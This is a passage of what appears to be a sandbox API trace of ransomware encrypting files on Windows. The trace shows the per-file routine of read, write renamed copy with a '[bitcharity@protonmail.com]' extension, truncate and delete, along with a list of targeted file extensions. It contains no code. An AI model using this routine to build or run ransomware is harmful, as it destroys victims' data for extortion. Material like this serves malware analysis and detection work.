lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x12cde, lpOverlapped=0x0) returned 1 [0134.781] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0134.783] ReadFile (in: hFile=0x109c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.783] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xf6, lpOverlapped=0x0) returned 1 [0134.783] SetEndOfFile (hFile=0x10a8) returned 1 [0134.783] CloseHandle (hObject=0x10a8) returned 1 [0134.786] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.786] SetEndOfFile (hFile=0x109c) returned 1 [0134.788] CloseHandle (hObject=0x109c) returned 1 [0134.788] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.788] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0134.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.789] lstrlenW (lpString=".doc") returned 4 [0134.789] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0134.789] lstrlenW (lpString=".docx") returned 5 [0134.789] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0134.789] lstrlenW (lpString=".pdf") returned 4 [0134.789] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0134.789] lstrlenW (lpString=".xls") returned 4 [0134.789] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0134.789] lstrlenW (lpString=".xlsx") returned 5 [0134.789] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0134.789] lstrlenW (lpString=".ppt") returned 4 [0134.789] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0134.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.789] lstrlenW (lpString=".zip") returned 4 [0134.789] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0134.789] lstrlenW (lpString=".rar") returned 4 [0134.789] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0134.789] lstrlenW (lpString=".bz2") returned 4 [0134.789] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0134.789] lstrlenW (lpString=".7z") returned 3 [0134.789] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0134.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.789] lstrlenW (lpString=".dbf") returned 4 [0134.789] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.789] lstrlenW (lpString=".1cd") returned 4 [0134.789] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0134.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.789] lstrlenW (lpString=".jpg") returned 4 [0134.789] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0134.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.789] lstrlenW (lpString=".doc") returned 4 [0134.789] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0134.790] lstrlenW (lpString=".docx") returned 5 [0134.790] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0134.790] lstrlenW (lpString=".pdf") returned 4 [0134.790] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0134.790] lstrlenW (lpString=".xls") returned 4 [0134.790] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0134.790] lstrlenW (lpString=".xlsx") returned 5 [0134.790] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0134.790] lstrlenW (lpString=".ppt") returned 4 [0134.790] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0134.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.790] lstrlenW (lpString=".zip") returned 4 [0134.790] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0134.790] lstrlenW (lpString=".rar") returned 4 [0134.790] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0134.790] lstrlenW (lpString=".bz2") returned 4 [0134.790] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0134.790] lstrlenW (lpString=".7z") returned 3 [0134.790] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0134.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.790] lstrlenW (lpString=".dbf") returned 4 [0134.790] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.790] lstrlenW (lpString=".1cd") returned 4 [0134.790] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0134.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0134.790] lstrlenW (lpString=".jpg") returned 4 [0134.790] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0134.790] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0134.790] lstrlenW (lpString="LocalizedData.xml") returned 17 [0134.790] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0134.791] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=86442) returned 1 [0134.791] CloseHandle (hObject=0x109c) returned 1 [0134.791] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0134.791] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.791] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0134.791] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.791] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.791] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0134.791] GetLastError () returned 0x0 [0134.791] ReadFile (in: hFile=0x109c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x151aa, lpOverlapped=0x0) returned 1 [0134.886] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x151b0, lpOverlapped=0x0) returned 1 [0134.888] ReadFile (in: hFile=0x109c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.888] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xf6, lpOverlapped=0x0) returned 1 [0134.888] SetEndOfFile (hFile=0x10a8) returned 1 [0134.888] CloseHandle (hObject=0x10a8) returned 1 [0134.891] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.891] SetEndOfFile (hFile=0x109c) returned 1 [0134.893] CloseHandle (hObject=0x109c) returned 1 [0134.893] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.893] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0134.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.894] lstrlenW (lpString=".doc") returned 4 [0134.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0134.894] lstrlenW (lpString=".docx") returned 5 [0134.894] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0134.894] lstrlenW (lpString=".pdf") returned 4 [0134.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0134.894] lstrlenW (lpString=".xls") returned 4 [0134.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0134.894] lstrlenW (lpString=".xlsx") returned 5 [0134.894] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0134.894] lstrlenW (lpString=".ppt") returned 4 [0134.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0134.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.894] lstrlenW (lpString=".zip") returned 4 [0134.894] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0134.894] lstrlenW (lpString=".rar") returned 4 [0134.894] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0134.894] lstrlenW (lpString=".bz2") returned 4 [0134.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0134.894] lstrlenW (lpString=".7z") returned 3 [0134.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0134.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.894] lstrlenW (lpString=".dbf") returned 4 [0134.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.895] lstrlenW (lpString=".1cd") returned 4 [0134.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0134.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.895] lstrlenW (lpString=".jpg") returned 4 [0134.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0134.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.895] lstrlenW (lpString=".doc") returned 4 [0134.895] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0134.895] lstrlenW (lpString=".docx") returned 5 [0134.895] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0134.895] lstrlenW (lpString=".pdf") returned 4 [0134.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0134.895] lstrlenW (lpString=".xls") returned 4 [0134.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0134.895] lstrlenW (lpString=".xlsx") returned 5 [0134.895] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0134.895] lstrlenW (lpString=".ppt") returned 4 [0134.895] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0134.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.895] lstrlenW (lpString=".zip") returned 4 [0134.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0134.895] lstrlenW (lpString=".rar") returned 4 [0134.895] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0134.896] lstrlenW (lpString=".bz2") returned 4 [0134.896] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0134.896] lstrlenW (lpString=".7z") returned 3 [0134.896] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0134.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.896] lstrlenW (lpString=".dbf") returned 4 [0134.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.896] lstrlenW (lpString=".1cd") returned 4 [0134.896] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0134.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0134.896] lstrlenW (lpString=".jpg") returned 4 [0134.896] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0134.896] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0134.896] lstrlenW (lpString="eula.rtf") returned 8 [0134.896] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0134.993] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=10125) returned 1 [0134.993] CloseHandle (hObject=0x109c) returned 1 [0134.993] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0134.993] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.993] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0134.994] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.994] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0134.994] GetLastError () returned 0x0 [0134.994] ReadFile (in: hFile=0x109c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x278d, lpOverlapped=0x0) returned 1 [0135.116] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x2790, lpOverlapped=0x0) returned 1 [0135.118] ReadFile (in: hFile=0x109c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.118] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe4, lpOverlapped=0x0) returned 1 [0135.118] SetEndOfFile (hFile=0x10a8) returned 1 [0135.118] CloseHandle (hObject=0x10a8) returned 1 [0135.119] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.119] SetEndOfFile (hFile=0x109c) returned 1 [0135.120] CloseHandle (hObject=0x109c) returned 1 [0135.120] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0135.120] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0135.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.121] lstrlenW (lpString=".doc") returned 4 [0135.121] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0135.121] lstrlenW (lpString=".docx") returned 5 [0135.121] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0135.121] lstrlenW (lpString=".pdf") returned 4 [0135.121] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0135.121] lstrlenW (lpString=".xls") returned 4 [0135.121] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0135.121] lstrlenW (lpString=".xlsx") returned 5 [0135.121] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0135.121] lstrlenW (lpString=".ppt") returned 4 [0135.121] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0135.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.121] lstrlenW (lpString=".zip") returned 4 [0135.121] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0135.121] lstrlenW (lpString=".rar") returned 4 [0135.121] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0135.121] lstrlenW (lpString=".bz2") returned 4 [0135.121] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0135.121] lstrlenW (lpString=".7z") returned 3 [0135.121] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0135.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.121] lstrlenW (lpString=".dbf") returned 4 [0135.121] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0135.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.121] lstrlenW (lpString=".1cd") returned 4 [0135.121] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0135.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.121] lstrlenW (lpString=".jpg") returned 4 [0135.121] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0135.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.121] lstrlenW (lpString=".doc") returned 4 [0135.121] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0135.121] lstrlenW (lpString=".docx") returned 5 [0135.121] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0135.122] lstrlenW (lpString=".pdf") returned 4 [0135.122] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0135.122] lstrlenW (lpString=".xls") returned 4 [0135.122] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0135.122] lstrlenW (lpString=".xlsx") returned 5 [0135.122] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0135.122] lstrlenW (lpString=".ppt") returned 4 [0135.122] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0135.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.122] lstrlenW (lpString=".zip") returned 4 [0135.122] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0135.122] lstrlenW (lpString=".rar") returned 4 [0135.122] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0135.122] lstrlenW (lpString=".bz2") returned 4 [0135.122] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0135.122] lstrlenW (lpString=".7z") returned 3 [0135.122] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0135.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.122] lstrlenW (lpString=".dbf") returned 4 [0135.122] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0135.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.122] lstrlenW (lpString=".1cd") returned 4 [0135.122] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0135.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0135.122] lstrlenW (lpString=".jpg") returned 4 [0135.122] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0135.122] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0135.122] lstrlenW (lpString="LocalizedData.xml") returned 17 [0135.122] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0136.314] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=65238) returned 1 [0136.314] CloseHandle (hObject=0x108c) returned 1 [0136.315] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0136.315] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0136.315] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.315] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1014 [0136.456] GetLastError () returned 0x0 [0136.456] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xfed6, lpOverlapped=0x0) returned 1 [0136.550] WriteFile (in: hFile=0x1014, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xfee0, lpOverlapped=0x0) returned 1 [0136.552] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.552] WriteFile (in: hFile=0x1014, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xf6, lpOverlapped=0x0) returned 1 [0136.552] SetEndOfFile (hFile=0x1014) returned 1 [0136.552] CloseHandle (hObject=0x1014) returned 1 [0136.560] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.560] SetEndOfFile (hFile=0x108c) returned 1 [0136.564] CloseHandle (hObject=0x108c) returned 1 [0136.564] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.565] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0136.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.565] lstrlenW (lpString=".doc") returned 4 [0136.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.565] lstrlenW (lpString=".docx") returned 5 [0136.565] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.565] lstrlenW (lpString=".pdf") returned 4 [0136.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.565] lstrlenW (lpString=".xls") returned 4 [0136.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.565] lstrlenW (lpString=".xlsx") returned 5 [0136.565] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.565] lstrlenW (lpString=".ppt") returned 4 [0136.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.565] lstrlenW 